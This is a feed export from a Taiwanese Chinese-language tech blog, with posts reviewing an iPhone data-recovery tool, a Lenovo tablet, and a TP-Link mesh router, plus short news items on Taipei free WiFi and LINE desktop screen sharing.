    +

    下載的方式也相當簡單,只要前往 Final Cut Pro X 官網輸入姓名與 email 電子郵件地址後就能下載使用。

    +

    +

     

    +

     

    +

    Final Cut Pro X :官網

    +

    這篇文章 Apple 影片剪接軟體 Final Cut Pro X 免費延長體驗,30 天變成 90 天! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51779/feed + 0 + + + 51779
    + + iPhone 的LINE 聊天記錄、手機照片遺失了?教你找回這些珍貴的回憶 + https://steachs.com/archives/51692 + https://steachs.com/archives/51692#respond + + + Thu, 26 Mar 2020 16:00:18 +0000 + + + + + + + + + + https://steachs.com/?p=51692 + + 阿湯算是非常收到鄉親們的求救問題,其中一個就是使用 iPhone 但是誤刪了照片或者因為當機導致聊天記錄遺失, […]

    +

    這篇文章 iPhone 的LINE 聊天記錄、手機照片遺失了?教你找回這些珍貴的回憶 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    阿湯算是非常收到鄉親們的求救問題,其中一個就是使用 iPhone 但是誤刪了照片或者因為當機導致聊天記錄遺失,最多想救回的資料大多是 LINE 聊天記錄跟照片,有沒有什麼工具可以幫我救救這些珍貴的回憶,其實手機救援工具很多,但大多是針對「檔案」,也就是救照片居多,但如果想針對「聊天記錄」就不適用了,今天來分享一款強大的 iPhone 資料救援工具「iMyFone D-Back iPhone Data Recovery」,不僅可以針對各別的聊天 APP 掃描資料,像是通話記錄、通訊錄、照片、影音檔案等都可以,趕快來試看看找回你珍貴的資料吧。

    +

    +

    +

    什麼狀況你會需要或可以用這個工具?

    +

    在往下急著看內容之前,這邊先幫大家做個前導說明,看完就知道你是不是需要或可以用這工具來達成你的需求,就不用浪費時間去測試,大致上有幾種狀況:

    +
      +
    • 資料/檔案誤刪
    • +
    • 手機在轉移的過程中造成聊天記錄遺失(LINE、微信、Whatsapp 等)
    • +
    • 手機在更新後資料遺失
    • +
    • 手機在更新後或突然白蘋果
    • +
    • 手機遺失或壞掉,但平常有開啟 iCloud 自動備份或定期透過 iTunes 備份
    • +
    • 手機忘記密碼被鎖住
    • +
    +

    大致上以上這些狀況都可以用這個工具來解救,但「資料救援」這件事本來就沒有 100% 的成功率,所以接下來也建議大家在使用前可以先一字一句的看清楚阿湯的說明,再開始操作就好。

    +

    iPhone 資料救援工具「iMyFone D-Back」使用介紹

    +

    iMyFone D-Back 下載:iPhone 資料救援工具

    +

    進入頁面不用急著購買,可以直接先下載使用,如果沒掃描到你要救的資料就不用花錢,如果需要恢復你的資料出來保存的話再購買就好,我覺得這機制非常的棒,才不會白花錢,很多資料救援工具都要先付費購買註冊碼才能用,或者只能掃描到前 N 筆資料,如果想要掃描更多就得先付費,但老實說,花了錢又保法保證能不能找到你想要的資料,真的很沒保障。

    +

    所以像 iMyFone D-Back 樣,完整深度掃描、付費復原資料的機制,我覺得非常的好。

    +

    +

    有沒有付費只差在恢復資料還有修復 iOS 的功能,所以大家可以先放心的用來掃描有沒有你要救的資料。

    +

    +

    如果你安裝後沒有顯示繁體中文的話,在右上角選單裡就可以進入語言切換。

    +

    +

    什麼時候會需要用這個工具來救資料?

    +

    以 iMyFone D-Back 來說,主要的恢復功能有 4 種,分別是從 iOS 裝置(iPhone、iPad 等)上進行恢復、從 iTunes 恢復、從 iCloud 恢復以及修復 iOS 系統問題。

    +

    如果你不知道應該選哪一個來做救援,可以選擇「智慧恢復」這個功能,這邊會提供你五種情況讓你選擇,比如像是不小心刪除了檔案或聊天記錄等,就可以選第一個「意外刪除或丟失數據」,或是有些人還沒備份好就做了恢復出廠設置,或者像是更新後白蘋果等,都可以依不同狀況來選擇。

    +

    +

    上面的「智能恢復」選擇後,其實會依你的狀況幫你導向下方四個功能,像意外刪除就是會跳到「從 iOS 裝置恢復」,往下我們來試一下。

    +

    +

    這個步驟就是 iMyFone D-Back 最特別的部份,前面提到了,大部份的救援工具,只能單純的掃描全面的檔案等,但不能幫你像這樣針對某向資料來掃描並篩選出來給你,而大家最常需要救援的資料不外乎就是 LINE 聊天記錄以及照片檔案,阿湯也往下來幫大家實測一下。

    +

    +

    分析一般會花一點時間,看你的資料量。

    +

    +

    分析完後就會把你選擇的資料顯示出來,像我先刻把部份聊天記錄刪除,發現一樣被掃描了回來,確實是能查看到已刪除的聊天記錄,但不會是 100% 都能掃描出來,這跟硬碟資料救援是一樣的道理,當你有檔案誤刪或當機造成資料遺失或毀損,事後用救援工具絕對不是 100% 都會救回,但是掌握黃金時間蠻重要的,拖的愈久救回機率愈低是肯定的,因為資料的儲存是會不斷的覆蓋的,當你原有資料被覆蓋時,救回機率就會大降低了。

    +

    +

    復原這些檔案或聊天記錄會回到手機嗎?

    +

    答案是不會,iMyFone D-Back 能做的是幫你「找回」這些內容,但無法再放回去手機裡面,以聊天記錄來說主要可以儲存成檔案,像我覺得存成 HTML 格式很方便,隨時想要查看舊有記錄,直接用瀏覽器就可以開啟。

    +

    +

    確認要恢復的話,除了對話記錄之外,像是對話中的照片、檔案等,只要能救回的都會幫你保留下來,分為二個資料夾。

    +

    +

    打開救回的聊天記錄就像這樣,真的很像是 LINE 的畫面,只要救回的記錄中,有包括照片、貼圖等,都一樣會正常顯示,雖然無法還原回手機裡,但至少將重要的內容保存下來,這比什麼都來的更加重要。

    +

    之前就有不少人為了想保留去世家人的珍貴對話,即便不斷的換手機,第一優先考量就是保留下對話,但「LINE」大家都知道,就算是同樣系統下,在轉移聊天記錄的過程還是會有可能出現狀況,所以這時你就可以用 iMyFone D-Back 事先把對話保留,或者出了問題後事後補救,都是可以的。

    +

    +

    是說,幫我救回的資料也太扯,連我年代久遠的資料都救了回來,像我有幾張出現相機的照片都是 2~3 年前的,在手機裡早就已經過期的照片了,由此可證,就連已經過期失效(但你曾經讀取過)也有機會可以救回。

    +

    +

    另外的二個主要恢復功能是透過 iTunes 或 iCloud,這二個功能認真來說,並不是像前面的方式一樣透過掃描儲存記憶體的底層,將資料挖回來,而且直接透過你曾經備份的檔案將檔案讀取出來,所以,只要你有備份的話,從備份裡恢復的資料是 100% 的,絕對不會 miss。

    +

    +

    這時你會想說 iTunes 備份的讀取工具有這麼多,還有免費的可以用,為什麼我要用 iMyFone D-Back 來讀取?因為就算是 iTunes 或 iCloud 的資料恢復,仍然有跟前面一樣的功能,可以單獨的針對「類型」來篩選你所需要的資料,就連聊天記錄也可以,所以便利性跟一般救援工具是不能相比的。

    +

    +

    iCloud 恢復的部份則是只要登入 APPLE ID 後,就可以去撈出你透過自動備份到 iCloud 的資料,恢復方式同上,很簡單。

    +

    +

    iPhone 或 iPad 出問題的解法

    +

    如同一開頭就提到的:

    +
      +
    • 手機在更新後或突然白蘋果
    • +
    • 手機遺失或壞掉,但平常有開啟 iCloud 自動備份或定期透過 iTunes 備份
    • +
    • 手機忘記密碼被鎖住
    • +
    +

    這些都可以用修復 iOS 系統來試看看能不能回復,這部份的功能是只有付費才能使用,畢竟這不可能跟你說修好了再付錢,實體店家才可以啊,但他們有提供三種方式進行修復,特別是「標準模式」,是在不刪除資料的情況下幫你嘗試修復,因為一般送修的話,大多解法就是整機重置,資料基本上就是 Bye Bye。

    +

    另外還有幫你進入回復模式的功能以及最終手段的高級模式,不過高級模式原則上就是跟一般送修差不多的概念,手機會整個重置,資料 Bye Bye,但是唯一要慶幸的是,如果真的要重置的話,你也可以在重置後嘗試用 iMyFone D-Back 來掃描資料看看,還是有機會救回手機上的重要的資料。

    +

    +

    相關資訊:

    + +

    更多 iMyFone 的實用工具:

    + +

    這篇文章 iPhone 的LINE 聊天記錄、手機照片遺失了?教你找回這些珍貴的回憶 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51692/feed + 0 + + + 51692
    + + 10.1 吋 Lenovo Tab P10 平板電腦開箱,絕佳的影音享受,搭載四喇叭支援 Dolby Atmos™ 環繞音效 + https://steachs.com/archives/51564 + https://steachs.com/archives/51564#respond + + + Wed, 25 Mar 2020 16:00:11 +0000 + + + + + + + + https://steachs.com/?p=51564 + + 雖然我有智慧型手機、電子書閱讀器、筆電也有桌電,平板電腦對阿湯來說仍然是不可或缺的 3C 產品之一,原因不外 […]

    +

    這篇文章 10.1 吋 Lenovo Tab P10 平板電腦開箱,絕佳的影音享受,搭載四喇叭支援 Dolby Atmos™ 環繞音效 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    雖然我有智慧型手機、電子書閱讀器、筆電也有桌電,平板電腦對阿湯來說仍然是不可或缺的 3C 產品之一,原因不外乎就是「需求不同」,像是搭飛機看影片、搭配鍵盤變輕筆電、在外哄小孩比用手機好、可以隨手畫畫、玩遊戲畫面更大、看彩色的電子書籍等,這些需求比起使用手機或電腦,平板電腦更不失為一個最佳選擇,Lenovo Tab P10 10.1 吋平板電腦搭載 Qualcomm Snapdragon 450 八核 1.8 GHz 處理器以及 4GB 的記憶體,並且配有支援杜比環繞音效的四喇叭,九千有找滿足你全部的需求,往下來看更多介紹。

    +

    +

    +

    Lenovo Tab P10 平板電腦開箱介紹:

    +

    先提供大家基本規格如下:

    +
      +
    • 處理器:Qualcomm Snapdragon 450 Processor ( 1.80GHz )
    • +
    • 操作系統:ANDROID 9
    • +
    • 顯示器:10.1"IPS 1920x1200
    • +
    • 記憶體:4.0GB LPDDR3
    • +
    • 硬碟:64GB
    • +
    • 電池:7,000mAh(鋰聚合物電池)
    • +
    • 相機:8.0 MP AF 背面攝影機 + 正面整合式攝影機 5MP 定焦
    • +
    +

    Lenovo Tab P10 分別有黑、白二色,阿湯手上所拍攝的這款為白色,10.1 吋的平板電腦、重量 440g,外出攜帶是有感的重量,但並不會讓你的包包變的沉重負擔,因為 440g 其實也不過就是 2 支半手機的重量啊(平常我包包都塞三支手機了...)。

    +

    +

    實體的 Home 鍵同時也是指紋辨識裝置,可以直接使用指紋快速解鎖。

    +

    +

    正面搭載的是 5MP 像素的鏡頭,用於視訊通話綽綽有餘。

    +

    +

    採用金屬邊框設計,做了對稱的切割處理,中間有一條亮面設計非常的有質感,側邊包括有 3.5mm 耳麥孔、正反二用的 USB Type-C 連接埠、麥克風收音孔以及 microSD 記憶卡槽。

    +

    +

    另一側為電源鍵及音量鍵。

    +

    +

    而比較少見的是,Lenovo Tab P10 採用四喇叭設計之外,還支援 Dolby Atmos™ 杜比環繞音效,上方二個喇叭,下方二個,不論看影片、玩遊戲都有非常的音效體驗。

    +

    +

    阿湯實際的聆聽過音質,音量足夠就算在吵雜的餐廳使用也沒問題,重點是音質的表現跟聲效感受真的超出我對它的想像,你不會覺得是萬元以下平板電腦該發出的好聲音。

    +

    +

    內建也有 Dolby Atmos™ 的聲音圖形等化器可以調整,除了預設的動態、電影及音樂外,也能自訂不同的設定值,你的音場怎麼展現就由你決定。

    +

    +

    底部還有二個對接孔及金屬接點,可以再另外購買鍵盤保護套等配件來使用,就可以將平板電腦做為輕筆電來使用。

    +

    +

    Lenovo Tab P10 有質感的地方不僅是金屬邊框設計,還採用了雙面玻璃,整個機身的質感就是 UP UP,右上角還可以看到一個隱隱約約的 Lenovo Logo。

    +

    +

    後置採用 800 萬像素具有自動對焦的鏡頭,並配有補光燈。

    +

    +

    盒裝標配配件除了說明書外也有一條 USB Type-C 充電線及支援 5V/2A 快速充電的電源變壓器。

    +

    +

    有不少萬元以下的平板電腦解析度僅 720p,而 Lenovo Tab P10 提供了 FHD+ 的解析度(1920x1200),可以有更佳的觀看感受。

    +

    +

    就算是低光源的電影場景,仍然保有相當不錯的影片細節。

    +

    +

    也由於是 IPS 面板的特色,不論什麼角度都能清晰的觀看影像,一家三口算擠在一起用一台,也不用擔心誰會看不清楚,坐一圈也沒問題啊。

    +

    +

    效能的部份,基本上搭載 Qualcomm®Snapdragon™ 450 八核心 1.8 GHz 處理器下,居家娛樂都沒有問題,阿湯也試了一下吃雞(PUBG),除了前置讀取會稍慢一些,進入遊戲介面或對戰中,完全沒有卡頓的問題,玩了半小時後機身也不太感受到有特別高溫的現象。

    +

    +

    Lenovo Tab P10 在軟體的部份介面做的很清爽,也沒有搭載多餘的第三方 APP,較特別的是在平板上加入了與電腦同樣的「多使用者」功能,讓我們可以在平板電腦上新增不同的使用者來登入,每個使用者登入就會是自己慣用的 APP、設定及內容,一家人要使用就不會有內容共通的問題,同時也能保有隱私。

    +

    +

    而針對小朋友的部份,也有「兒童使用者」可以增加,登入後則是會進入兒童模式,可以限定時間及存取權限。

    +

    +

    兒童模式下,除了權限上的限制之外,在設定時也能選擇每次可使用的時間,以及使用後要間隔多久才能再使用,避免小朋友使用平板時間過長,對視力不好。

    +

    +

    在兒童模式下也會自動切換為濾藍光模式,減少藍光對視力的影響,不過我兒湯包現在才一歲二個月,還輪不到他來用平板,但這功能我就先記下了,我想明年就可以派上用場了,而且 Lenovo Tab P10 支援 10 點觸控,再過二個月差不多就可以拿來跟湯包一起畫畫了。

    +

    +

    使用心得:

    +

    不少人在購買 3C 產品時,總是在看著「規格」,不知不覺就會被一堆網路評價洗腦著好像什麼都得買到最頂規才是王道,但阿湯一直以來都是提倡著,買東西依「需求」來選擇才是最好的做法,除非你的口袋很深,當然什麼都買最頂規就好,但像我們這種小資家庭,當然什麼都得精打細算,像 Lenovo Tab P10 九千有找就可以搞定多種需求,還內建有多使用者功能,不會因為每個人的使用需求不同而造成困擾,或有隱私上的問題,重點是還具有四喇叭搭載 Dolby Atmos™ 環繞音效,平板很多人都是拿來看影片,色彩、亮度表現外,聲效更為重要,所以就綜合能力來說,Lenovo Tab P10 真的是平價但又具備不失禮貌的規格跟功能,非常推薦入手做為家庭娛樂使用,一台就搞定全部人,不需要再人手一台了。

    +

    相關資訊:

    + +

    這篇文章 10.1 吋 Lenovo Tab P10 平板電腦開箱,絕佳的影音享受,搭載四喇叭支援 Dolby Atmos™ 環繞音效 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51564/feed + 0 + + + 51564
    + + 免費台北市 WiFi 網路 – Taipei Free,不用帳號密碼認證就能用! + https://steachs.com/archives/51721 + https://steachs.com/archives/51721#respond + + + Wed, 25 Mar 2020 14:37:56 +0000 + + + https://steachs.com/?p=51721 + + 為了進一步提升市民與觀光客使用服務之便利性,台北市資訊局宣布將自 4 月 1 日起,開放免帳號密碼登入模式。民 […]

    +

    這篇文章 免費台北市 WiFi 網路 – Taipei Free,不用帳號密碼認證就能用! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    為了進一步提升市民與觀光客使用服務之便利性,台北市資訊局宣布將自 4 月 1 日起,開放免帳號密碼登入模式。民眾只要開啟 WiFi 連上 TPE-Free 進入登入頁面後,點選同意使用條款後就能上網,不再需要申請帳號、密碼,也省卻了輸入帳密的步驟囉!

    +

    +

    免費台北市 WiFi 網路 - Taipei Free 將啟用免帳號密碼認證

    +

    Taipei Free 怎麼登入?步驟其實也相當的簡單,

    +
      +
    1. 開啟「網路連線」
    2. +
    3. 進入「設定」
    4. +
    5. 開啟「Wi-Fi 設定」
    6. +
    7. 找到「TPE-Free」後點選連線
    8. +
    9. 接著登入後再點選同意使用條款後就能享受台北市超過 3000 多個熱點的免費無線上網功能
    10. +
    +

    +

    Taipei Free 的服務區域雖然是免費的,但主要是以臺北市府市政大樓、12 個區行政中心、市立圖書館及各分館、市立聯合醫院各院區、臺北捷運車站及捷運地下街等主要公共場所為主,並不包括私人場所唷!

    +

     

    + +

    這篇文章 免費台北市 WiFi 網路 – Taipei Free,不用帳號密碼認證就能用! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51721/feed + 0 + + + 51721
    + + 讓你家中的 Wi-Fi 訊號無死角,TP-Link Deco X20 AX1800 網狀路由器開箱! + https://steachs.com/archives/51529 + https://steachs.com/archives/51529#respond + + + Tue, 24 Mar 2020 16:00:34 +0000 + + + + + + + + + + + https://steachs.com/?p=51529 + + 在坪數較大或是多樓層的環境下,通常都會面臨到 Wi-Fi 訊號的問題,以往最常見的解法是安裝多台路由器,然後就 […]

    +

    這篇文章 讓你家中的 Wi-Fi 訊號無死角,TP-Link Deco X20 AX1800 網狀路由器開箱! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    在坪數較大或是多樓層的環境下,通常都會面臨到 Wi-Fi 訊號的問題,以往最常見的解法是安裝多台路由器,然後就會有多個 Wi-Fi 訊號,當 A 沒訊號會連上 B,但缺點就是會有「訊號較弱」的區域,也就是 Wi-Fi 死角,所以你就得手動切換到訊號較好的 Wi-Fi 連線,而今天要來開箱的這款 TP-Link Deco X20 AX1800 網狀路由器(Mesh),解決了以往傳統佈建 Wi-Fi 訊號的問題,不論是大坪數、多樓層,都不需要切換 Wi-Fi 訊號連線,走到哪都能維持有最佳的連線訊號及速度,你還不知道什麼是 Mesh 的話,就往下來顛覆你對路由器的想像吧。

    +

    +

    +

    網狀路由器(Mesh)與傳統路由器差在哪?

    +

    稍微擷取一下 TP-Link 官方介紹頁的圖跟大家解說一下,左邊是採用 Mesh 路由器打造的 Wi-Fi 環境,不論你走到哪,Wi-Fi 的 SSID 只會有一組,所以不會有切換的問題,而且可以維持非常良好的訊號。

    +

    右邊則是傳統的 Wi-Fi 佈建方式,假設有三個樓層,你會在每個樓層放置一台路由器後,家裡就會看到三個 Wi-Fi 的 SSID,這就是最大的缺點,因為你肯定發生過,到一樓後,還是連著二樓的 Wi-Fi 訊號,甚至是三樓的,但因為距離遙遠,那連接速度也早已龜速到不如你直接關閉 Wi-Fi 用自己的行動網路。

    +

    所以現在樓層之間或是大坪數的環境,最新的解決方法就是透過佈建 Mesh 路由器來搞定,以今天要分享的 TP-Link Deco X20 AX1800 為例,只要在各個角度或各個樓層都放一顆 Deco X20,就可以佈滿 Wi-Fi 訊號無死角,往下來看阿湯更多詳細的介紹吧。

    +

    +

    TP-Link Deco X20 AX1800 網狀路由器開箱介紹:

    +

    阿湯就手上拿到這台 Deco X20 先跟大家簡單說明一下 Deco X20 的幾個特色:

    +
      +
    • 支援 Wi-Fi 6:分別支援 1,202 Mbps (5 GHz) 和 574 Mbps (2.4 GHz)
    • +
    • OFDMA 及 MU-MIMO 技術:可以提供比 802.11ac 四倍的容量來啟用同步傳,讓更多設備同時使用不塞車
    • +
    • 真Mesh 技術:路由器無主從之分,提供不斷訊的 Wi-Fi 訊號,覆蓋全範圍的網狀系統,且 Wi-Fi 6 的訊號更快更強。
    • +
    • 無縫漫遊:完整支援 802.11k/v/r 標準
    • +
    • 網路安全性:支援 WPA3 加密,並搭載 TP-Link HomeCareTM 功能(家長監護、防毒、QoS)
    • +
    • 設定簡單:透過 APP 三分鐘快速搞定設定。
    • +
    • 型號相容:所有Deco皆可互相串連使用。
    • +
    +

    +

    Deco X20 盒裝標配有三顆路由器,這三顆沒有主從之分,你想要用哪一顆做為主要路由器使用都可以,另外也能各別獨立分開使用或串在一起做為 Mesh 網狀網路,如果三顆不敷家中空間所用的話,隨時可以再擴充路由器,只要再添購另一組 Deco 後再透過 APP 配對增加就可以了,所以不論你家有多大、樓層有多少,都可以串到無死角為止;如果其中一顆故障只需要更換一顆即可,不需要整組淘汰。

    +

    +

    內附快速安裝手冊(其實用不到,有 APP 就綽綽有餘),三顆電源變壓器以及一條乙太網路線。

    +

    +

    一組三入剛好給大家看一下正面、上方跟後方,老實說,阿湯個人還蠻喜歡圓形的路由器,一來沒有天線不會那麼覺得是個路由器,二樓圓形柱狀放在家裡任一個角落都會覺得像是個裝飾品或是什麼高科技智慧產品之類的,所以這外形設計非常切中我的心。

    +

    +

    每組路由器的背面都有二個 Gigabit 乙太網路連接埠,其實也就做為主要路由器(和數據機連接的那那台)會需要接上網路線,剩下都只需要接上電源線做為 Mesh 來擴展 Wi-Fi 網路使用。

    +

    +

    阿湯第一顆 Deco X20 就是放在書房的電腦旁,因為數據機就在這裡,電腦、NAS 等配備也都在這裡,因此這裡的訊號非常的重要。

    +

    +

    第二個是家中訊號需求區域的貓屋前方,因為貓屋裡面看到的設備,包括飲水器、餵食器、貓砂機全部都需要連上 Wi-Fi 網路。

    +

    +

    再加上電視的相關設備也全部都需要 Wi-Fi 網路,包括 APPLE TV、Samsung TV、Mac mini PC、Switch、HomePod、紅外線/射頻控制器、客廳冷氣,加上貓屋的設備,光這一區就有 10 個設備要連線,特別是電視現在很常在看 4K 來源的影片,Wi-Fi 訊號跟穩定度更是重要。

    +

    +

    最後一個則是放在隔了二道牆的書房,這裡也包括了 HomePod 跟紅外線控制器,但重點是我們也還蠻常賴在臥房裡看影片、滑手機,這裡訊號也不能弱!

    +

    +

    接下來我們就可以開始進行配對,第一次使用的話,你會看到 Deco X20 是藍燈閃爍,就是進入配對的模式了,配對的相關介紹,阿湯後面再來跟大家分享,往下我們先來給大家看一下透過 Deco X20 搭建的 Mesh 網狀網路有多厲害,先測試給大家看。。

    +

    +

    首先,如果你的設備有支援 Wi-Fi 6,以手機來說,在連線圖示旁還會出現一個小小的「6」,代表你現在是在 Wi-Fi 6 技術的網路底下,至於 Wi-Fi 6 到底厲害在哪裡,先前阿湯在三款支援第 6 代 Wi-Fi 技術 802.11ax 的高階路由器你怎麼選(TP-Link vs ASUS vs Netgear)這篇文章裡就有提到過,相較於第五代 Wi-Fi 技術的優勢在於:

    +
      +
    • 全新的上/下載 MU-MIMO 及 OFDMA,效能較 802.11ac 提升四倍
    • +
    • 更大的承載量(更多的連線數量)
    • +
    • 更快的速度(透過 1024QAM 及 OFDM 長標記,整體速度理論值最高可達 6000Mbps)
    • +
    • 提升覆蓋範圍(透過 BSS 色彩技術,可以減少四周的訊號干擾,連線更穩定)
    • +
    • 支援目標喚醒時間 (TWT)(可以讓設備排程連線設備的收發資料時機,讓設備休眠時間加長,簡單的說可以延長設備的電池壽命)
    • +
    +

    而且 Wi-Fi 6 其實也漸漸的會普及起來,就算你現在沒有支援 Wi-Fi 6 的設備也沒關係,因為同樣會向下相容,而且會以能夠支援的最高速度運行。

    +

    +

    而 Mesh 網狀網路最好的測試方法不免俗的,就是直接來看訊號強度跟連接速度最準,我家室內坪數大約 20 坪左右,A、B、C 三個點分別是我放置 Deco X20 的位置,而 A 同時也是數據機的位置,也就是書房,B 是貓屋前、C 是臥房,1、2、3 也分別代表我測試訊號的位置,往下來看測試結果。

    +

    +

    測試結果如下:

    +
      +
    • 1:-15dBm、1200Mbps
    • +
    • 2:-39dBm、1200Mbps
    • +
    • 3:-32dBm、1200Mbps
    • +
    +

    如果你只有一台路由器,在第 2 跟第 3 的點測試,先不論 dBm,連接速度都至少會下降很多,但歸功於 Mesh 網狀網路的搭建,可以看到連接速度完全沒有下降,全部都是維持在 5Ghz 下能達到的最高速度 1200Mbps,訊號強度也維持在非常好的 -40dBm 以內。

    +

    至於 Mesh 技術和傳統的 Wi-Fi 放大器差在哪?老實說 Wi-Fi 放大器以往阿湯測試下來的心得,確實能延伸訊號,但速度並不快而且不穩定,原因就在於傳統的 Wi-Fi 放大器或中繼訊號的路由器都是只對「一個點」進行連接並延伸,但是 Mesh 網狀網路則是每個存取點之間都會形成一個網狀的無線網路環境,不僅讓範圍內的連線裝置可以保持在最好的訊號之外,也能計算封包的最佳傳送路徑,所以不論是訊號強度或連接速度都能維持在最佳狀態。

    +

    +

    Deco APP 功能介紹:

    +

    不論在 Google Play 或 Apple APP Store 上都可以直接搜尋「TP-Link Deco」來安裝 APP。

    +

    在看功能之前,先大概的介紹一下 APP 的設定操作,Deco X20 三台尚未配對之前,你可以看到 Wi-Fi 裡分別有三個路由器的 SSID,所以你想用哪一個當做主要路由器都沒有問題,另外帳號的部份,如果你曾經用過 TP-Link 的任一款路由器應該有註冊過 TP-Link 的帳號,這是相同的,可以直接登入。

    +

    +

    選擇你的 Deco 路由器型號後,再將 Wi-Fi 連上你主要的那顆路由器,在底部都可以看到預設的 SSID,然後就可以跟著步驟設定相關連線資訊。

    +

    +

    主要的 Deco 也能設定位置的名稱,再輸入連線的帳密後,還有設定 Wi-Fi 的 SSID 跟密碼等,都只需要照著步驟走即可,非常的簡單,透過 APP 設定比起傳統使用電腦設定簡單的多,也更加方便(因為現在很多人只有用手機,沒有電腦啊)。

    +

    +

    當你設定好主要的 Deco 路由器後,剩下的 2 顆 Deco 不需要做任何設定,只要是同一盒裝下的,只要接上電源就會自動完成配對,如果你買了第二盒要繼續增加,也只要透過 APP 新增即可。

    +

    +

    當你完成配對時,三顆 Deco X20 路由器都會變成綠燈恆亮,為了方便查看,阿湯是先都放在一起進行設定後才將各別的路由器放置去不同空間。

    +

    +

    Deco 的 APP 也將功能操作及設定簡化到可以說是零技術,進入 APP 預設可以看到目前連線的數量跟設備名稱,也有每個設備的連線佔用頻寬有多少,這對於租屋管理更加的方便,誰在亂佔用網路一看就知道。

    +

    而 APP 裡有另一個非常實用的功能叫做「家庭照護」,其中包括防毒、家長監護跟 QoS 的功能。

    +

    +

    可以幫你過濾惡意內容、防駭客,也能主動隔離受感染的設備。

    +

    而家長監護功能,包括可以針對不同年齡的對像進行設定,避免家中的小孩在瀏覽網路時出現一些還不適合他們觀看的內容。

    +

    +

    也能設定網路使用時間並且是針對「設備」進行限制,所以可以依據不同設備做各別的設定。

    +

    +

    QoS 則是可以幫你優化網路的活動,比如設定遊戲優先的話,即便網路現在比較塞車一點,系統仍然會自動幫你安排好頻寬,讓遊戲的封包優先順序較高,避免 lag 狀況出現,或者可以設定成影音優先等,很多路由器上的 QoS 只能做統一管理,無法針對類別做 QoS,所以依你需求不同來選擇,非常的棒。

    +

    其他還有更多相關的路由器設定,都是常用到的,像封鎖使用者的黑名單功能、WPS 配對功能等。

    +

    +

    一開始打開 Deco X20 的時候我以為這台沒有 WPS,後來才發現,原來是透過 APP 來設定 WPS,以往都是在路由器上按壓 WPS 實體按鍵就可以透過 WPS 來配對連線,但這有個安全問題,就是陌生人趁你不注意就可以不用任何帳密,直接按實體 WPS 鍵來和支援 WPS 連線的設備進行配對,但 Deco 是做在 APP 裡,就只有經過你才能完成配對了。

    +

    +

    在 APP 裡也有內建 Speedtest 的測速工具,很多路由器的網路速度都不能達到你租用的網路速度,以阿湯家中是 300Mbps/100Mbps 來說,測試結果是滿載,完全沒有問題。

    +

    +

    另外我也有透過電腦使用 Wi-Fi 透過中華電信的測速工具再測一次,同樣是滿載,所以不論有線無線都能達到網路能使用的最高速度。

    +

    +

    使用心得:

    +

    雖然之前就已經耳聞 + 看了很多相關文獻知道 Mesh 網狀網路的厲害,但自己實際把玩後才知道真的是厲害,不論是連線速度或訊號都讓我為之驚艷,雖然我目前家中坪數較小,其實一台路由器就可以搞定,不過之後等搬家就會需要用上 Mesh 的路由器來搭建家中的網路環境,而這次測試的 Deco X20 支援的連線速度為 1,800 Mbps(包括 1,202 Mbps (5 GHz) 和 574 Mbps (2.4 GHz)),其實已經適用於一般家用環境,一般來說你除非有更多設備連線上或者速度上的考量,否則 Deco X20 在規格各方面來說絕對是夠用的。

    +

    但如果你是個小型工作室或者更多人一點的中小型辦公室,也可以考慮更高一階的 Deco X60,最大連線速度可以達到 3,000Mbps(2,402 Mbps (5 GHz) 和 574 Mbps (2.4 GHz)),最大的差異就在於 5GHz 的最高速度,我自己認為像一些影像媒體工作者平常都有在使用 NAS 的習慣,為了能夠順暢的讀寫檔案,一般都會透過乙太網路來傳輸檔案,但如果你是想要透過無線讀取同樣順暢且快速,那我會蠻推薦可以直上 Deco X60,這樣即便是多人同時使用下,也不用擔心頻寬會有不足的問題,簡單的說,阿湯認為一般家用可以選擇 Deco X20 就好,工作室以上可以選擇 Deco X60,但不論哪一款,都能讓你輕鬆的打造出無死角的 Wi-Fi Mesh環境,激推!

    +

    相關資訊:

    + +

    這篇文章 讓你家中的 Wi-Fi 訊號無死角,TP-Link Deco X20 AX1800 網狀路由器開箱! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51529/feed + 0 + + + 51529
    + + 用 LINE 也能遠距會議,LINE 電腦版 5.23.0「分享螢幕畫面」最多支援 200 人! + https://steachs.com/archives/51714 + https://steachs.com/archives/51714#respond + + + Tue, 24 Mar 2020 15:01:08 +0000 + + + + + https://steachs.com/?p=51714 + + 隨著疫情在全球的升溫,無論是台灣或世界各地,不能去公司、不能去上課、不能辦聚會的情況正在持續增加,台灣通訊軟體 […]

    +

    這篇文章 用 LINE 也能遠距會議,LINE 電腦版 5.23.0「分享螢幕畫面」最多支援 200 人! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    隨著疫情在全球的升溫,無論是台灣或世界各地,不能去公司、不能去上課、不能辦聚會的情況正在持續增加,台灣通訊軟體龍頭 LINE 也從現在開始,將 LINE 視訊通話中的「分享螢幕畫面」功能,從原本只能 1 對 1,全新升級到最多可以支援到 200 人同時進行視訊會議,與 LINE 視訊通話的人數上限一致!

    +

    +

    LINE「分享螢幕畫面」的特色

    +
      +
    1. 免費
    2. +
    3. 在台灣 LINE 的使用者相當多,因此對使用介面較為親切與容易上手
    4. +
    5. 電腦版與行動裝置版都能參與「分享螢幕畫面」,不過只有電腦版能夠進行分享,行動裝置版則是能參與發言與討論
      +分享的內容不只簡報,影片跟照片也可以分享
    6. +
    +

     

    +

    +

    如何使用 LINE「分享螢幕畫面」

    +
      +
    1. 要分享的朋友先將 LINE 電腦版更新到 5.23.0 版本或以上,電腦版最多會出現 16 位與會者的大頭照或視訊畫面。
      +參與視訊通話、觀看分享的人:可以選擇使用 LINE 電腦版(一樣要更新到 5.23.0 以上或最新版本),或是直接在手機上觀看(直接打開就有,不需要更新 LINE app)。手機版最多呈現 4 位與會者的大頭照或視訊畫面。
    2. +
